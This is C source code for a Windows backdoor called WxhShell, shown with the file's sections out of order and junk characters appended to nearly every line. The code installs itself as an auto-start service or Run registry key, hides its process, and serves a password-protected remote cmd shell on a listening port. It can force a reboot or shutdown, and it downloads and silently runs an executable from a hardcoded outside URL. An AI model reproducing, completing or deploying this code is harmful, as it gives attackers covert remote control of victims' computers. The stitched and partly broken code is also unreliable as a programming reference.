    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nwA8ALhE  
    if(Boot(SHUTDOWN)) [q*%U4qGO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g5Z#xszj+  
    else { ;`dh fcU  
    closesocket(wsh); T6#CK  
    ExitThread(0); a|4~NL  
    } WG7k(Sp ]  
    break; +nL+ N  
    } 9H0H u]zM  
  // 获取shell Zg~nlO2  
  case 's': { S'LZk9E  
    CmdShell(wsh); @U{<a#  
    closesocket(wsh); =1p8 i  
    ExitThread(0); \ HZ9S=  
    break; p(F" /  
  } G:W>I=^DaR  
  // 退出 BvD5SBa}"  
  case 'x': { "2?l{4T\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }8-\A7T  
    CloseIt(wsh); 3+Qxg+<  
    break; uC3:7  
    } h#r^teui)  
  // 离开 ao" %WX  
  case 'q': { G oM ip8'u  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); h}`!(K^;3  
    closesocket(wsh); v``-F(i$  
    WSACleanup(); }n_p$g[Nj/  
    exit(1); 4Y> Yi*n  
    break; DQ#H,\ ^<  
        }  +=q)  
  } g7V8D  
  } $2^`Uca  
|'O[7uT  
  // 提示信息 H5CR'Rp  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GNf482  
} 6qWdd&1  
  } Uxfl_@lJ  
]uj=:@  
  return; vbx6I>\Y  
} >_dx_<75&  
/M;#_+VK<  
// shell模块句柄 '^BV_QQ  
int CmdShell(SOCKET sock) g]c[O*NTL  
{ :A %^^F%  
STARTUPINFO si; ).` S/F  
ZeroMemory(&si,sizeof(si)); ,;?S\V  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2kAx>R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j"^ +oxH  
PROCESS_INFORMATION ProcessInfo; 7(M(7}EKA  
char cmdline[]="cmd"; &AVpLf:?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tWTKgbj(  
  return 0; O%g $9-?F0  
} " 96yp4v@  
]<(]u#g_d  
// 自身启动模式 e^4 p%  
int StartFromService(void) a?|vQ*W  
{ Xs&TJ8a  
typedef struct 2?m.45`  
{ "mL++>ZSQ  
  DWORD ExitStatus; iwz  
  DWORD PebBaseAddress; [b{CkX06  
  DWORD AffinityMask; o1&:ry  
  DWORD BasePriority; MMB@.W  
  ULONG UniqueProcessId; J PyOG _h  
  ULONG InheritedFromUniqueProcessId; O}9KJU  
}   PROCESS_BASIC_INFORMATION; Wg{k$T_>  
)X4K2~k*  
PROCNTQSIP NtQueryInformationProcess; y;mj^/SxK  
f\'{3I29  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Vpy 2\wZWb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .@ xF6UZ  
[I4ege>  
  HANDLE             hProcess; ~~/xR s  
  PROCESS_BASIC_INFORMATION pbi; yc|VJ2R*  
nJPyM/p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E?(xb B  
  if(NULL == hInst ) return 0; hTP:[w)  
+<,gB $j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ii7QJ:^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G-9iowS/A  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .2J L$"  
u77E! z4Uz  
  if (!NtQueryInformationProcess) return 0; BBcV9CGU  
>]o}}KF?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *6xgctk  
  if(!hProcess) return 0; .]aF 1}AI  
u?s VcD[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E}%hz*Q)(  
}j,[ 1@S  
  CloseHandle(hProcess); p ?wI9GY  
7ugZE93!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); eY{+~|KZ  
if(hProcess==NULL) return 0; &3J@BMYp  
NEa>\K<\  
HMODULE hMod; j~j\\Y  
char procName[255]; oD}uOC}FS{  
unsigned long cbNeeded; `9k0Gd  
VLBE'3Qg 1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E^U0f/5 m  
v&Kqq!DE  
  CloseHandle(hProcess); pm{|?R  
AkOO )0  
if(strstr(procName,"services")) return 1; // 以服务启动 K'#E3={tt  
;-UmY}MU  
  return 0; // 注册表启动 Gycm,Cy  
} [pVamE  
};'\~g,1  
// 主模块 XD"_Iq!  
int StartWxhshell(LPSTR lpCmdLine) @29U@T  
{ {mB0rKVm  
  SOCKET wsl; ] }f9JNf$  
BOOL val=TRUE; 4Vq%N  
  int port=0; d\|!Hg,  
  struct sockaddr_in door; Ecs,$\  
gk`zA  
  if(wscfg.ws_autoins) Install(); H4]Ul eU  
LkQX?2>]  
port=atoi(lpCmdLine); l3 DYg  
<]G]W/eB'  
if(port<=0) port=wscfg.ws_port; ]vuwkn+)  
}<'5 z qS  
  WSADATA data; 1{P'7IEj  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F`9]=T0  
/> 4"~q)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p<:!)kt  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N]RZbzK_5G  
  door.sin_family = AF_INET; 4 {9B9={  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c_elShK8#  
  door.sin_port = htons(port); w|Nz_3tI  
[|l?2j\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^n+!4(@=  
closesocket(wsl); H'HSD,>(  
return 1; Ag@;  
} ?mlNL/:  
0 Us5  
  if(listen(wsl,2) == INVALID_SOCKET) { @$T 9Ll  
closesocket(wsl); Gdg"gi!4  
return 1;  wd)jl%  
} /q5:p`4{J  
  Wxhshell(wsl); ~,*b }O  
  WSACleanup(); 4Fm90O  
u,6~qQczE  
return 0; @lvyDu6e  
%AQIGBcgL  
} 9*a=iL*Nw  
3$X'Y]5a  
// 以NT服务方式启动 ;amXY@RmH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [p<w._b i  
{ ~*wk6&|  
DWORD   status = 0; ,TFIG^Dvq  
  DWORD   specificError = 0xfffffff; AF%@VLf  
&%-73nYw  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7a~X:#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; KY~- ;0x  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ow]053:i  
  serviceStatus.dwWin32ExitCode     = 0; `*shF9.\C  
  serviceStatus.dwServiceSpecificExitCode = 0; CvD "sHVq%  
  serviceStatus.dwCheckPoint       = 0; ,S!azN=  
  serviceStatus.dwWaitHint       = 0; JeE ;V![  
Ywwu0.H<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5s]. @C8  
  if (hServiceStatusHandle==0) return; G nG>7f[v  
VzVc37 Z>6  
status = GetLastError(); is-7 j7;  
  if (status!=NO_ERROR) gdQvp=v]  
{ UNBH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hzvd t  
    serviceStatus.dwCheckPoint       = 0; .qZI$ l .  
    serviceStatus.dwWaitHint       = 0; .Fp4: e  
    serviceStatus.dwWin32ExitCode     = status; % S os  
    serviceStatus.dwServiceSpecificExitCode = specificError; v'3J.?N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _/tHD]um  
    return; ;4pYK@9w_  
  } >o=-$gz`  
5yz(>EVH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :Cj OPl  
  serviceStatus.dwCheckPoint       = 0; RtM8yar+sn  
  serviceStatus.dwWaitHint       = 0; 2V#>)R#k  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k5kxQhPf  
} mmk=97  
fd.^h*'mU  
// 处理NT服务事件,比如:启动、停止 OD!& .%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WL"^>[Vq  
{ Y<%@s}zc  
switch(fdwControl) W~7A+=&  
{ z\%67C  
case SERVICE_CONTROL_STOP: dx@-/^.  
  serviceStatus.dwWin32ExitCode = 0; #6HA\dE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |}di&y@-JI  
  serviceStatus.dwCheckPoint   = 0; =h5H~G5AT  
  serviceStatus.dwWaitHint     = 0; YOmM=X+'H  
  { ?b>,9A.Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U ^5Kz-5.  
  } GE%Z9#E  
  return; }%{LJ}\Px  
case SERVICE_CONTROL_PAUSE: cmU1!2.1E  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; U!*M*s  
  break; U"^kH|  
case SERVICE_CONTROL_CONTINUE:  jYmR  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; FWG6uKv  
  break; p o2!  
case SERVICE_CONTROL_INTERROGATE: Sp;G'*g  
  break; ?En O"T.  
}; Gsq00j &<Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tne ST.  
} 7>))D'l57  
3 09hn  
// 标准应用程序主函数 ZJzt~ H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jN;@=COi  
{ f=r<nb'H  
pS'FI@.'{  
// 获取操作系统版本 1Vrh4g.l  
OsIsNt=GetOsVer(); 5A3xVN=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~5%W:qwQ  
aJbO((%$|u  
  // 从命令行安装 x7!L{(E3  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ez fN&8E  
8"2=U6*C  
  // 下载执行文件 q1"$<# t  
if(wscfg.ws_downexe) { T?tgd J  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8QLj["   
  WinExec(wscfg.ws_filenam,SW_HIDE); i1NY9br  
}  8pIP  
P3x= 8_#  
if(!OsIsNt) { d iL +:H  
// 如果时win9x,隐藏进程并且设置为注册表启动 P2BWuh F  
HideProc(); (:TjoXXiY  
StartWxhshell(lpCmdLine); tl,.fjZn  
} Wz49i9e+d  
else &_dt>.  
  if(StartFromService()) t{^*6XOcJ  
  // 以服务方式启动 c'>/  
  StartServiceCtrlDispatcher(DispatchTable); G'Q-An%z  
else Y)0*b5?1r  
  // 普通方式启动 ;c-(ObSm  
  StartWxhshell(lpCmdLine); |:q=T ~x  
DCIxRPw  
return 0; "7'J &^|  
} Vd,jlt.t  
,Ys %:>?  
J>wt (] y  
]'!f28Ng-  
=========================================== nBjqTud  
I5 o)_nc  
z1PBMSG  
`5cKA;j>b  
Cc+t}"^  
Zd^rNHhA  
" 5{|7$VqPF  
BZ94NOOdw  
#include <stdio.h> j"ThEx0  
#include <string.h> :1cV;gJ  
#include <windows.h> \\PjKAsh  
#include <winsock2.h> q@QksAq  
#include <winsvc.h> B8.Pn  
#include <urlmon.h> Y>|B;Kj0(  
w k(VR  
#pragma comment (lib, "Ws2_32.lib") J`peX0Stl  
#pragma comment (lib, "urlmon.lib") @K\~O__  
2 Wt> Mi  
#define MAX_USER   100 // 最大客户端连接数 (Mo*^pVr  
#define BUF_SOCK   200 // sock buffer 3QV*%  
#define KEY_BUFF   255 // 输入 buffer YZLkL26[  
F3N?Nk/  
#define REBOOT     0   // 重启 Eza`Z` ^el  
#define SHUTDOWN   1   // 关机 [>+4^&  
r54&XE]O  
#define DEF_PORT   5000 // 监听端口 S@jQX  
H{@Yo\J  
#define REG_LEN     16   // 注册表键长度 bx#>BK!  
#define SVC_LEN     80   // NT服务名长度 \l'm[jy>  
y~Bh  
// 从dll定义API T}Km?d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5m*iE*+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); NTdixfR  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X\`_3=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k52/w)Ro,$  
~qcNEl\-y  
// wxhshell配置信息 =!kk|_0%E  
struct WSCFG { q 0$,*[PH  
  int ws_port;         // 监听端口 o>).Cj  
  char ws_passstr[REG_LEN]; // 口令 q4R5<LW"  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3/aMJR:o  
  char ws_regname[REG_LEN]; // 注册表键名 -d~4A  
  char ws_svcname[REG_LEN]; // 服务名 E=jNi  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %=n!Em(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K0H'4' I  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )T/0S$@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~T ]m>A!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P?8GV%0$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~8~aJ^[  
"w^!/  
}; yyoqX"v[  
*?Lv3}E  
// default Wxhshell configuration t0/p]=+.p/  
struct WSCFG wscfg={DEF_PORT, b1^vd@(lx  
    "xuhuanlingzhe", #Vl 0.l3  
    1, ~c8? >oN(  
    "Wxhshell", 8 BY j  
    "Wxhshell", ?HTj mIb  
            "WxhShell Service", 1QqYQafA  
    "Wrsky Windows CmdShell Service", Y,GU%[+  
    "Please Input Your Password: ", Usr@uI#{J  
  1, $56Z#'(D  
  "http://www.wrsky.com/wxhshell.exe", qd9cI&  
  "Wxhshell.exe" ?5U2D%t  
    }; G'rxXJq  
VGfMN|h  
// 消息定义模块 *meZ8DV2DH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oeKHqP wg  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N8!cO[3Oh  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #hW;Ju73  
char *msg_ws_ext="\n\rExit."; *YW/_  
char *msg_ws_end="\n\rQuit."; {p)",)td  
char *msg_ws_boot="\n\rReboot..."; f_wvZ&  
char *msg_ws_poff="\n\rShutdown..."; g3Ec"_>P  
char *msg_ws_down="\n\rSave to "; rFIqC:=  
e8y;.D[2  
char *msg_ws_err="\n\rErr!"; `Y BC  
char *msg_ws_ok="\n\rOK!"; guX 9}  
y#>,+a#5  
char ExeFile[MAX_PATH]; AcS|c:3MUy  
int nUser = 0; l=]cy-H  
HANDLE handles[MAX_USER]; UQ8M~x5$3%  
int OsIsNt; ]Gpxhg  
&yGaCq;0  
SERVICE_STATUS       serviceStatus; rJPb 3F  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P6E3-?4j  
09dK0H3(  
// 函数声明 ^=C{.{n  
int Install(void); 0F@"b{&0  
int Uninstall(void); _Bj)r}~7#  
int DownloadFile(char *sURL, SOCKET wsh); WEFlV4/  
int Boot(int flag); lFa02p0  
void HideProc(void); Ae mDJ8Y  
int GetOsVer(void); :Mb%A  
int Wxhshell(SOCKET wsl); F\fWvXdW  
void TalkWithClient(void *cs); g$( V^  
int CmdShell(SOCKET sock); ^9^WuSq  
int StartFromService(void); Nqw&< x+  
int StartWxhshell(LPSTR lpCmdLine);  =Qh\D  
X'%E\/~u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7+]=-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); kdCUORMK  
b}0,\B%  
// 数据结构和表定义 :q=%1~Idla  
SERVICE_TABLE_ENTRY DispatchTable[] = tYZ[6 8  
{ >"gf3rioW  
{wscfg.ws_svcname, NTServiceMain}, N*%@  
{NULL, NULL} yMyE s8  
}; *_R]*o!W'  
Ae69>bkE0  
// 自我安装 8d?g]DEN)6  
int Install(void) N5*u]j  
{ ! vP[;6  
  char svExeFile[MAX_PATH]; jZh';M8"  
  HKEY key; -`<kCW"  
  strcpy(svExeFile,ExeFile); '6Ay&A3N]  
G:<`moKgL  
// 如果是win9x系统,修改注册表设为自启动 ktj]:rCkF  
if(!OsIsNt) { /TZOJE(2j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3= xhoRX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #k_HN}B  
  RegCloseKey(key); @7n/Q(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d@ Y}SWTB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _7IKzUn9g[  
  RegCloseKey(key); m-H-6`]  
  return 0; `VKf3&|<A  
    } la( <8  
  } (7XCA,KTGI  
} Y]{ >^`G  
else { xZ|Y ?R5m  
vJ\pR~?  
// 如果是NT以上系统,安装为系统服务 SV:4GVf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]Tkc-ez  
if (schSCManager!=0) j'%$XvI  
{ /I)yU>o  
  SC_HANDLE schService = CreateService f8M$45A'  
  ( Y^ kXSU  
  schSCManager, *H?!;u=8  
  wscfg.ws_svcname, 2WtRJi?b|  
  wscfg.ws_svcdisp, X>NhZ5\  
  SERVICE_ALL_ACCESS, f 1w~!O9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , COTp  
  SERVICE_AUTO_START, ~=8uN<  
  SERVICE_ERROR_NORMAL, eFpTW&9n  
  svExeFile, A81ls#is  
  NULL, qHNE8\9  
  NULL, @;<ht c  
  NULL, M9y <t'  
  NULL, ]4R[<<hd  
  NULL Vs%|pIV  
  ); HPb]Zj  
  if (schService!=0) +n<k)E@>J  
  { 0Z0:,!  
  CloseServiceHandle(schService); @y82L8G/  
  CloseServiceHandle(schSCManager); v2H#=E4cZ#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); = M]iIWQ@`  
  strcat(svExeFile,wscfg.ws_svcname); OE4+GI.r-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { taFn![}/!g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); s3]?8hXd  
  RegCloseKey(key); 0 ;b[QRmy  
  return 0; ~er\~kp  
    } E<C&Cjz:H  
  } G:pEE:W[  
  CloseServiceHandle(schSCManager); \3'9Uz,OC  
} H ,+? t  
} 4O;OjUI0a  
!-N6l6N  
return 1; V5GW:QT  
} ~=KJzOS,S  
={5#fgK>  
// 自我卸载 ;x:rZV/  
int Uninstall(void) VxY+h`4#  
{ #]#sGmW/L  
  HKEY key; RjWqGr;bO  
`)T~psT  
if(!OsIsNt) { N nk@h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ux#x#N  
  RegDeleteValue(key,wscfg.ws_regname); Mz1G5xcl  
  RegCloseKey(key); $2M#qkik-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n+BJxu?  
  RegDeleteValue(key,wscfg.ws_regname); -jn WZ5.  
  RegCloseKey(key); /Nr*`l  
  return 0; TYlbU<  
  } Q}!mx7b0]  
} >[ Ye  
} j:,NE(DF  
else { B9T!j]'  
mk3_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e]T`ot#/  
if (schSCManager!=0) _>=L>*  
{ "Vr[4&`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \=0V uz  
  if (schService!=0) +8v9flh  
  { H-3Eo#b#  
  if(DeleteService(schService)!=0) { [tg^GOf '  
  CloseServiceHandle(schService); m$9w"8R  
  CloseServiceHandle(schSCManager); Gcb|W&  
  return 0; ?7 M.o  
  }  P\]B<  
  CloseServiceHandle(schService); }?&k a$rI  
  } mo1oyQg8  
  CloseServiceHandle(schSCManager); Wm H~m k"  
} #-8\JEn  
} 4*aZ>R2hO  
$5v0m#[^  
return 1; BW"&6t#kA  
} {8R"O{  
A].>.AI  
// 从指定url下载文件 "+zCS|   
int DownloadFile(char *sURL, SOCKET wsh) gORJWQv  
{ +4\U)Z/\  
  HRESULT hr; ;SwMu@tg  
char seps[]= "/"; 1yV: qp  
char *token; h?-#9<A  
char *file; MWNPPYww  
char myURL[MAX_PATH]; (_4;') 9  
char myFILE[MAX_PATH]; $5L0.$Tj  
ZhNdB  
strcpy(myURL,sURL); 'TTUN=y  
  token=strtok(myURL,seps); `MEYd U1  
  while(token!=NULL) }n7t h  
  { T6pLoaKu  
    file=token; U$H @ jJ*  
  token=strtok(NULL,seps); -dv %H{  
  } P]i =r] i  
n6(i`{i  
GetCurrentDirectory(MAX_PATH,myFILE); =&!HwOnp  
strcat(myFILE, "\\"); ^E6d`2w-  
strcat(myFILE, file); 5j0{p$'9  
  send(wsh,myFILE,strlen(myFILE),0); ;pD)m/$h`  
send(wsh,"...",3,0); !;6Jng%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >xA),^ YT  
  if(hr==S_OK) PY3ps2^K.  
return 0; WZ!WxX>zO  
else -[OXSaf6  
return 1; T@%m7|P  
51# "3S  
} I _i6-<c.Q  
hF3&i=;.  
// 系统电源模块 1Uf*^WW4  
int Boot(int flag) ecOy6@UDY  
{ 7n)&FX K`  
  HANDLE hToken; fqs]<qi  
  TOKEN_PRIVILEGES tkp; ED$DSz)x  
0aR,H[r[?  
  if(OsIsNt) { a;$P:C{gj?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); aFY_:.o2k`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z"DkFvA  
    tkp.PrivilegeCount = 1; ,pK| SL  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I\\QS.2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); iA!7E;o  
if(flag==REBOOT) {  Voh hQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) . BO<  
  return 0; %Y4e9T".  
} @\(vX]  
else { !C:rb   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Swtbl`,  
  return 0; SW(q$i  
} {+("C] b  
  } e=/&(Y  
  else { |!d"*.Q@F  
if(flag==REBOOT) { l{P\No  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) b'x$2K;E  
  return 0; 6S?x D5 (  
} tn/T6C^)  
else { ,D80/2U^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <64HveJ  
  return 0; y[0`hSQ)~  
} ]_*S~'x  
} #~?kYCtC)  
U[_8WJ7+  
return 1; kpfwqHT  
} 1M%S gV-#  
H D/5!d  
// win9x进程隐藏模块 (7$$;  
void HideProc(void) #Gv{UU$]  
{ ~hN~>0O  
d-!<C7O}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sDiHXDI_m  
  if ( hKernel != NULL ) z>vtEV))  
  { 0x)dnq\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P-z`c\Rt  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |qjZ38;6  
    FreeLibrary(hKernel); oJ;rc{n-  
  } 'Am-vhpm  
k1N$+h ;\  
return; b#Kq[}  
}  u>cC O'q  
%l9$a`&  
// 获取操作系统版本 EO"C8z'al  
int GetOsVer(void) A! 6r/   
{ zQuM !.  
  OSVERSIONINFO winfo; SX+RBVZU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IS_Su;w>4  
  GetVersionEx(&winfo); 6* rcR]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) oh}^?p  
  return 1; ,-#GX{!  
  else F&@|M(  
  return 0; G!-J$@P  
} 9Vh_[^bR  
h W.2p+  
// 客户端句柄模块 r+g jc?Ol  
int Wxhshell(SOCKET wsl) l)@:T|)c  
{ g6' !v  
  SOCKET wsh; e@ oWwhpE  
  struct sockaddr_in client; jUY+3"?   
  DWORD myID; 3VP$x@AV  
>[3X]n,0  
  while(nUser<MAX_USER) cC6z,0`3  
{ QrS$P09=\  
  int nSize=sizeof(client); _X%Dw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ml`vx  
  if(wsh==INVALID_SOCKET) return 1; 5+L8\V9;  
YN#XmX%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8R/ *6S=&  
if(handles[nUser]==0) jH0Bo;  
  closesocket(wsh); YBylyVZ  
else p{C9`wi)  
  nUser++; Yo'K pdn  
  } ~gt3Omh  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P6HGs? *  
JK^[{1 JI  
  return 0; tp+=0k2i  
} H-a^BZ&iU  
oc;VIK)g]c  
// 关闭 socket JN^bo(kb  
void CloseIt(SOCKET wsh) ,9vJtP+T+!  
{ ewQe/Fq  
closesocket(wsh); #~e9h9  
nUser--; G+C} <S}  
ExitThread(0); ,aO@.<"  
} =h[yA f  
A;t zRe  
// 客户端请求句柄 85C#ja1&  
void TalkWithClient(void *cs) MCd F!{  
{ =LqL@5Xr  
^Y<M~K972  
  SOCKET wsh=(SOCKET)cs; x\]z j!  
  char pwd[SVC_LEN]; $kv[iI @  
  char cmd[KEY_BUFF]; bqNLkw#  
char chr[1]; MC6)=0:KX  
int i,j; 4L11P  
^\{J5  
  while (nUser < MAX_USER) { -;<>tq'3`  
)O -cw7 >  
if(wscfg.ws_passstr) { }bCK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AtT"RG-6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %A=|'6)k2  
  //ZeroMemory(pwd,KEY_BUFF); H.9yT\f.  
      i=0; Mb~~A5  
  while(i<SVC_LEN) { c+wuC,  
?4MSgu  
  // 设置超时 <oZ(ng@X  
  fd_set FdRead; k_BSY=$e*D  
  struct timeval TimeOut; XUf7yD  
  FD_ZERO(&FdRead); !^]q0x  
  FD_SET(wsh,&FdRead); >mew"0Q  
  TimeOut.tv_sec=8; pOX$4$VR<  
  TimeOut.tv_usec=0; (< :mM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _~:j3=1&n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); x g{VP7  
K,G,di  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2*Va9HP!q  
  pwd=chr[0]; K_Z+]]$#  
  if(chr[0]==0xd || chr[0]==0xa) { @|E;}:?u  
  pwd=0; :wSJ-\'$  
  break; XRtyC4f  
  } BB0g}6M  
  i++; Z 4\tY^NI  
    } nrI"k2oA@  
Y' 2-yB  
  // 如果是非法用户,关闭 socket 4v0dd p  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <|B$dz?r  
} ?ISI[hoc  
U 7EHBW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4P`PmQ=GQh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i[o&z$JO  
ix(U:'{  
while(1) { Th.3j's  
0BT;"B1  
  ZeroMemory(cmd,KEY_BUFF); ~wa%fM  
hcd!A 5  
      // 自动支持客户端 telnet标准   i<'{Y  
  j=0; ^6ExW>K  
  while(j<KEY_BUFF) { {bW"~_6}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZYrKG+fkl  
  cmd[j]=chr[0]; f&=K]:WDe  
  if(chr[0]==0xa || chr[0]==0xd) { f:n]Exsy  
  cmd[j]=0; j@%K*Gb`  
  break; }*xC:A%aS  
  } #Y/97_2 xa  
  j++; ;%v%K+}r  
    } w g$D@E7  
1-4   
  // 下载文件 }K#iCby4  
  if(strstr(cmd,"http://")) { 'hxs((['\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ON:LPf>"-  
  if(DownloadFile(cmd,wsh)) zfk'>_'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nwZ[Ygl|  
  else p*A^0DN'Fn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *=($r%)  
  } {LR#(q$1  
  else { E#yCcC!wMY  
S/#) :,YS  
